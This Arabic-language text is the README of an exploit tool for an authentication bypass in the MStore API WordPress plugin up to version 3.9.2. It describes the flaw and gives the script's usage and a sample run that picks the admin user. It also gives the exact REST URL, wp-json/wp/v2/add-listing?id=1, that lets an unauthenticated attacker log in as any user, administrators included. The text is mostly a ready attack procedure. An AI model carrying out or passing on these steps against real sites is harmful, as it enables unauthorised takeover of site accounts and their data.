
MStore API <= 3.9.2 - تجاوز المصادقة
إضافة MStore API لووردپريس معرضة لتجاوز المصادقة في الإصدارات حتى 3.9.2. يعود السبب إلى عدم كفاية التحقق من المستخدم المقدم أثناء طلب واجهة REST API لإدراج القوائم عبر الإضافة. يتيح ذلك للمهاجمين غير الموثَّقين تسجيل الدخول كأي مستخدم موجود في الموقع، مثل المسؤول، إذا تمكنوا من الوصول إلى معرف المستخدم.
الاستخدام: mstore-api.py [-h] -u URL
الخيارات:
-h, --help عرض رسالة المساعدة هذه والخروج
-u URL, --url URL عنوان URL لموقع ووردپريس
python3 mstore-api.py -u http://wordpress.lan
إصدار الإضافة أقل من 3.9.3.
اختر مستخدمًا:
1. admin
أدخل معرف المستخدم: 1
تهانينا، تم العثور على نظام ضعيف.
كيفية الاستغلال:
زر العنوان التالي: http://wordpress.lan/wp-json/wp/v2/add-listing?id=1
زر http://wordpress.lan ويجب أن تكون قد سجلت الدخول كمستخدم اخترته.